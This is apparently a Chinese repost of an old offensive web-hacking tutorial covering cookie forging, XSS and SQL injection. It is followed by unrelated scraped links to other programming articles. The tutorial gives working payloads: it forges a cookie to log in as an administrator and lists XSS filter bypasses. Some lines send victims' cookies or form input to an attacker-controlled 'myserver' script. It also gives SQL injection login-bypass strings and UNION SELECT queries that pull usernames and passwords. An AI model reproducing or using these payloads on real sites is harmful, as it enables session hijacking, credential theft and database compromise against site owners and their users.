XSS & SQL injection

2023-11-20

 作者: CyberPhreak

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X
Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

~介绍

在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
X
Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X
Cookie Editing X
X XSS X
X SQL
Injection X
XXXXXXXXXXXXXXXXXXXX

~什么是cookie

cookie
就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

strusername
=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS

XSS
,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…

我假定你知道htmljavascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS
--跨站脚本

< html >  
< body >  
< form action = ""  method = " GET " >  
<!--  我使用的GET方法 , 因为当我们利用的时候更容易练习 .   -->  
Script
:   < input name = " name "  type = " name " >  
< input type = " submit "  value = " submit " >  
</ form >  
</ body >  
</ html >  

<? php 
$name   =   $_GET [ ' name ' ]; 
echo ( " Hello $name " ); 
?>
OK ,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

cnsst
"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
< script> alert ( document . cookie )< / script>

那么它将会弹出 document . cookie !所以它是易受 XSS 攻击的!

现在我们已经对 XSS 有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的: JavaScript , html , VBScript 等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有 php , asp 等等...

已有一些方法注入 php ,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入 javascript ?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的 javascript ( JS ).因此其他任何人也可以,因为 XSS 允许你让网站运行你想要运行的任何脚本.

让我们看一个稍微复杂点的例子!

假设你已经输入了< script> alert ( document . cookie )< / script> ,并且回显是这样的:
scriptalert
( document . cookie )/ script
或者可能是这样的:
scriptalertdocument
. cookie / script

可以看出更难利用了...不过有很多方法使用 XSS ,这只是其中一种.而且是其中最烂的方法之一.你看到当中的 "<>" 都被空字符 " " 替换了.

让我们继续利用:
<< script>> alert ( document . cookie )<< / script>>

你的输出将弹出 document . cookie .

现在来看看更狠的:
<< script>> alert (( document . cookie ))<< //script>>


他们可能会替换所有的,或者只是 "<>" .所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument
. cookie / script
或者 <<< script>>> alert ( document . cookie )<<< / script>>>  

他们可能替换 2 对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
< script> alert ( document . cookie )< / script>

输出像这样: srplert ( document . cookie ) srp

仔细观察,你就会发现 document . cookie 中并没有什么被替换.为什么呢? 因为他们并不清楚你想要 alert 什么,以及你想做什么.所以他们只是猜测,就只阻止了 "<>" 以及 script 部分.怎么绕过?看看这个:
<< sccriiptt>> aalert ( document . cookie )<< //sccriiptt>>

所有重复多余的部分刚好被替换!现在让我们来点更高级的!

这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
< script> alert ( document . cookie )< / script>

输出将是:
scriptalert
( document . cookie ) script

看到这,你激动地说, "我知道该怎么做了!" OK ,让我们按照你的方法来重新构造:
<< script>> alert ( document . cookie )<< / script>>

输出: scriptalert ( document . cookie ) script . 这时你可能会继续增加更多的<> .可是,他们替换了任何 "<>" ,无论你输入多少个...看到我说 "任何" 了吗?使用下面这个例子:

<
script
>
alert
(
document
.
cookie
)
<
/
script
>


看看它,它没有替换 "<>" ,它替换代码关键字.所以即便你写的是一句没有 "<>" 的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是 "alert" ! 我们又该怎么改进呢?看看这个:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>

这下应该可以了,但是如果他们仍然替换 "<" ,你可以增加 2 "<< >>" (并且你可以用任何字符取代 document . cookie )

还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他 XSS 方法.前面我们已经讨论了客户端 XSS ,那么现在就来看看服务器端 XSS .

首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如 JavaScript ( JS ) VBScript ( VBS )等而看到的.服务器端 XSS 是通过来自服务器端的语言,如 php , asp 等的 XSS .客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端 XSS ,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何 XSS 的脚本,但是这个脚本能够保存你的 XSS 到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用 XSS ,为什么我们应该用 JavaScript ?为什么不用 php ?但是先让我给你看点东西.
document
. forms ( 0 ). action = "http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="
http : //myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript
: location . href = "http://myserver/cookie.php" + document . cookie
这将截获访问我们资料的用户的 cookie .这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的 UserAgent Referer ...现在让我们在 DOS 提示符下或者命令行窗口中试一试一些 XSS ,
telnet example . com
GET
/ page / toplacewhere_itechos_your_useragent . php HTTP / 1 . 1
User - Agent : < script> alert ( document . cookie )< / script>
Referer : < script> alert ( document . cookie )< / script>


~什么是 SQL 注入

SQL
注入,网站中最大的安全问题之一.那么到底什么是 SQL 注入?其实也就是注入 SQL .现在让我们来挖掘不同级别的 SQL 漏洞.假设你有一个像这样的登录页面:
< html >  
< body >  
< form  action =""  method ="POST" >  
Username: 
< input  name ="name"  type ="name" >  
Password: 
< input  name ="password"  type ="password" >  
< input  type ="submit"  type ="submit"  value ="Submit" >  
</ form >  
</ body >  
</ html >

这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
'OR 1=1--
'
OR a=a--
'OR'

自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

'OR''='
'OR"="
'
OR'="
'
OR '="
'
OR "='
'OR ''='
'OR '=''
'OR "
=''
'OR ''="


~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='
OR "='
AND password='OR "
='

你可能使用其他字符来替代'
OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "
='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='
OR''="

现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='



现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='

http
://example.com/index.php?article='='
http
://example.com/index.php?article='OR 1=1--
http
://example.com/index.php?article='OR a=a--
http
://example.com/index.php?article='OR '="
http
://example.com/index.php?article='OR "='
http
://example.com/index.php?article='OR ''='
http
://example.com/index.php?article='OR '=''
http
://example.com/index.php?article='OR''='
http
://example.com/index.php?article='OR"'='
http
://example.com/index.php?article='OR"''='

尽情发挥自己的创造力!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS & SQL injection 的相关文章

  • 在 javascript、jQuery 或 css 中,如何让 div 或 iframe 展开以填充其余空间

    我有三个 iframe 我将顶部 iframe 设置为 50px 高度 将底部 iframe 设置为 50px 但我希望中间 iframe 扩展以填充其余空间 有没有一种技术可以用来对任何窗口屏幕尺寸执行此操作 谢谢 example
  • TSQL - 生成文字浮点值

    我理解比较浮点数时遇到的许多问题 并对它们在这种情况下的使用感到遗憾 但我不是表格作者 只有一个小障碍需要克服 有人决定使用浮点数 就像您期望使用 GUID 一样 我需要检索具有特定浮点值的所有记录 sp help MyTable Colu
  • Spring Data JPA 选择不同

    我有一个情况 我需要建立一个select distinct a address from Person a 其中地址是 Person 内的地址实体 类型的查询 我正在使用规范动态构建我的 where 子句并使用findAll Specifi
  • 在鼠标光标位置添加 cytoscape 节点

    我想在画布上的单击事件上的鼠标箭头位置添加一个 cytoscape 节点 我怎样才能做到这一点 我的方法 效果不太好 我可以通过单击创建一个节点 但无法确保创建的节点的位置位于我单击的位置 使用这样的东西 cy click function
  • 以一定时间间隔连续重复运行 JavaScript 函数

    这是我的第一个问题 希望您尽快回答 我想要代码连续重复一个函数 我尝试了一些代码 但没有成功 我尝试了这段代码 我想在一段时间后重复这个功能 我努力了setInterval and setTimeout 但是 我还没有收到结果 这将重复该任
  • 如何用javascript正确读取php cookies

    考虑这个 php 和 javascript 代码 然后我在控制台中看到的是 utma 111872281 291759993 1444771465 1445374822 1445436904 4 utmz 111872281 1444771
  • 如何在 HTML / Javascript 页面中插入 PHP 下拉列表

    好吧 这是我的第二篇文章 请接受我是一个完全的新手 愿意学习 花了很多时间在各个网站上寻找答案 而且我几乎已经到达了我需要到达的地方 至少在这一点上 我有一个网页 其中有许多 javascript 函数 这些函数一起使用 google 地图
  • JavaScript 测验在提出所有问题之前结束

    我现在正在学习 JavaScript 并且正在创建一个测验 我的测验运行正常 控制台中没有任何错误 但它会跳过问题 有时会在回答所有问题之前结束测验 即使给出正确答案 也会减少时间 我不太确定为什么它会这样做 因为在我看来它的编码是正确的
  • 在管道中重用变量的功能方式

    在 javascript 和 typescript 中与 Ramda 一起使用函数式编程 我经常发现自己编写如下代码 const myFun c gt const myId c id const value pipe getAnotherO
  • 在 Fabric.js 中按宽度/高度在另一个画布对象内居中和缩放画布对象

    Goal 将一个对象 水平和垂直 置于另一个对象 矩形或组 的中心canvas via Fabric js或者通过Javascript保持原始对象的长宽比相同 但也不超过父对象的宽度 高度比例 父对象 矩形或组 不会居中于canvas元素
  • 计算文本选择的 xy 位置

    我正在尝试使用 DOM 元素创建自己的文本选择 是的 我的意思是当您在此元素中选择文本时 您会在文本后面看到蓝色背景 这个想法是停止默认行为 蓝色 并使用我自己的元素来完成工作 方法是找到选择的 xy 位置 然后放置绝对定位的元素 我希望能
  • Ember Data 中出现“超出最大调用堆栈大小”错误的原因可能是什么?

    Ember 发布新版本 3 6 0 后 我开始在控制台中收到错误 rsvp js 24 未捕获 RangeError 超出最大调用堆栈大小 在 WeakMap get 在 getCacheFor metal js 25 在 Computed
  • Knockout.js 安全绑定

    我想使用带有淘汰赛的安全绑定 为此我使用敲除安全绑定 js https github com brianmhunt knockout secure binding 谁能解释一下为什么下面的代码不起作用 它会抛出一个错误 未捕获 淘汰 安全
  • JavaScript 数组扩展语法的时间复杂度是多少?

    我想知道在 JavaScript 中使用数组扩展的时间复杂度是多少 是线性 O n 还是常数 O 1 下面的语法示例 let lar Math max nums 传播称为 Symbol iterator 有关对象的属性 对于数组 这将迭代数
  • 标量子查询包含多行

    我正在使用 H2 数据库并想要移动一些数据 为此 我创建了以下查询 UPDATE CUSTOMER SET EMAIL SELECT service EMAIL FROM CUSTOMER SERVICE AS service INNER
  • SQL Server 2008 错误 233

    我正在使用以下 sql 脚本在 SQL Server 2008 中创建新登录名 CREATE LOGIN xyz WITH PASSWORD xyz DEFAULT DATABASE master DEFAULT LANGUAGE us e
  • RoR - Rails 中的大文件上传

    我有一个 Rails Web 应用程序 允许用户上传视频 视频存储在 NFS 安装的目录中 当前的设置适用于较小的文件 但我也需要支持大文件上传 最多 4GB 当我尝试上传 4GB 文件时 它最终会发生 但从用户体验的角度来看很糟糕 上传开
  • 如何使用 jQuery 或 JavaScript 聚焦 或 标签?

    for var i 0 i
  • Internet Explorer 9 是否会因数组和对象文字末尾的额外逗号而卡住?

    现代浏览器和 Node js 等环境允许您说 a 1 b 2 或 1 2 3 这在历史上一直是 Internet Explorer 的问题 Internet Explorer 9 中修复了此问题吗 对此有两种不同的答案 一种是对象初始值设定
  • 从输入类型编号获取无效值

    我正在使用输入类型数字 当它无效时 我如何从中获取值 例如 使用类型编号并仅打印 e 这本身是无效的 我正在使用 React 但我认为这个问题非常普遍 onChange event console log event target valu

随机推荐

  • 从零开始入门 K8s

    作者 至天 阿里巴巴高级研发工程师 一 基本知识 存储快照产生背景 在使用存储时 为了提高数据操作的容错性 我们通常有需要对线上数据进行 snapshot 以及能快速 restore 的能力 另外 当需要对线上数据进行快速的复制以及迁移等动
  • 解决cmd命令行运行java程序,编译通过,执行时却找不到主类的问题

    命令行中使用javac命令编译Train通过 使用java命令运行却找不到主类Trian 原因 有package的存在 编译成功后 需要返回上一层文件目录使用java命令执行train Trian 即 java命令后跟 包名称调用主类名称
  • Ubuntu和Windows使用Mmdetection训练Swin-Transformer+Mask-RCNN

    最近想用各种SOTA的Swin Transformer来试试实例分割效果 于是找了一下教程实验了一下 主要分为以下步骤 1 安装Mmdetection 这部分的教程很多 网上搜一下就行了 但是这里出错最多 2 下载Swin Transfor
  • java 获取list中的两两组合,给定一个数组,获取排列组合

    如题 获取一个数组中两两组合 示例 给定一个List lt 1 2 3 4 gt 输出 1 2 1 3 1 4 2 3 2 4 3 4 demo public static void main String args List
  • 几率大的网络安全面试题(含答案)

    其他面试题类型汇总 Java校招极大几率出的面试题 含答案 汇总 几率大的网络安全面试题 含答案 几率大的多线程面试题 含答案 几率大的源码底层原理 杂食面试题 含答案 几率大的Redis面试题 含答案 几率大的linux命令面试题 含答案
  • 【Linux】 Linux使用timedatectl命令修改时间报错

    Linux中可以使用timedatectl命令来修改系统时间信息 具体命令中常见的参数格式及作用如下 参数 作用 status 显示状态信息 list timezones 列出已知时区 set time 设置系统时间 set timezon
  • STM32学习笔记——USB鼠标

    最近搞了好久的STM32模拟USB鼠标 功能就是简单的利用三个按键实现滚轮和鼠标左右键的功能 USB功能其实已经集成好一个库了 我们只是对其中几个函数进行配置而已 其实很多配置还不是太懂 整个USB程序的过程大概就是1 中断配置 2 USB
  • 【win10】 设置应用开机自启动

    步骤如下 1 按Win r键 输入 shell startup 2 确定后会出现一个文件夹 把要开机启动的应用快捷方式放到里面 3 在任务管理器的启动里面进行设置 可以在状态字段选择启用或者禁用 放在文件夹里只是让它可以在任务管理器的启动里
  • jdk与jre的区别

    jdk与jre的区别 很多程序员已经干了一段时间java了依然不明白jdk与jre的区别 JDK就是Java Development Kit 简单的说JDK是面向开发人员使用的SDK 它提供了Java的开发环境和运行环境 SDK是Softw
  • 解决Ubuntu 20.04 node-v 和nodejs --version显示不同版本

    Ubuntu 20 04 node v 和nodejs version显示不同版本 1 删除原来的node js版本以及之前的软链接 我这里是输入node v显示4 0 0pre 首先要删除 卸载这个版本对应的node js文件 此时如果在
  • Match Points【Codeforces 1156C】【二分答案】

    题目链接 题意有点像上海EC某年的一道铜牌题 具体是哪年记不得了 我们要去N个的关系 使得最多的匹配对达到他们的差值 Z 这样的情况 有这样的一组数据可以很好的反映这道题为什么有人会WA了 4 3 1 4 5 7 但是 同时也证明了 我们取
  • 《机器学习实战》4.朴素贝叶斯

    目录 1 基于贝叶斯决策理论的分类方法 2 利用朴素贝叶斯进行文档分类 一般过程 3 使用python进行文本分类 3 1准备数据 从文本中构建词向量 3 2 训练算法 从词向量计算概率 3 3测试算法 根据现实情况修改分类器 3 4 准备
  • 【SDR】OpenBTS 介绍及安装

    前言 今天是元旦假期的第一天 还有两天 就要跨入2018年了 无心工作 写两篇博客吧 纪念一下自己的2017 也为2018开个好头 希望2018 我的三个愿望 能够圆满实现 好了 开始正题 前一段时间搭建了OpenBTS的环境 用于测试其相
  • 图形界面编程:使用C语言开发GUI应用

    使用C语言开发图形界面 GUI 应用通常涉及使用特定的库或框架 下面将为您提供一个详细的教程 以介绍使用C语言开发GUI应用的一般步骤和常用库 1 选择GUI库 C语言本身不提供直接的GUI支持 因此您需要选择一个适合的GUI库或框架 以下
  • C++ 文件流操作详解

    1 C I O流 本文章有很多内容参考并借鉴了 C primer plus 这本经典 这里先说明一下 1 C I O流 1 1 数据流 1 2 控制台流 1 3 文件流 1 3 1 什么是文件流 1 3 2 缓冲区 1 3 3 文件流和控制
  • 鸿蒙-No pending exception expected: java.lang.RuntimeException: Parcel:

    问题描述 学习鸿蒙开发 在利用intent封装数据 这里我是自定义了1个实体对象 然后作为list的元素 封装list 进行页面跳转时 总报下列异常 A com example ex thread cc 2560 No pending ex
  • 四种方式求最大公约数和最小公倍数

    最大公约数和最小公倍数 两个自然数的最大公约数与它们的最小公倍数的乘积等于这两个数的乘积 1 质因数分解法 把每个数分别分解质因数 再把各数中的全部公有质因数提取出来连乘 所得的积就是这几个数的最大公约数 例如 求24和60的最大公约数 先
  • c语言中自己写实现strcat(),strcpy(),strcmp()的函数

    c语言中的string h头文件中虽然有这三个函数 但老师让我们自己写函数 所以添加了一点自己的想法写了这三个函数 strcat include
  • linux恢复模式如何输密码,在Ubuntu上使用恢复模式及Recovery Mode各选项的使用方法...

    本文介绍在Ubuntu上使用恢复模式的方法 包括Recovery Mode选项 Clean Dpkg Fsck Grub Root 的使用方法 前言 Ubuntu操作系统带有恢复模式 通过此功能 用户可以访问损坏系统的命令行 修复错误配置的
  • XSS & SQL injection

    作者 CyberPhreak XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X Web Security XSS more X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 介绍在这篇文章中我将说明所有关于X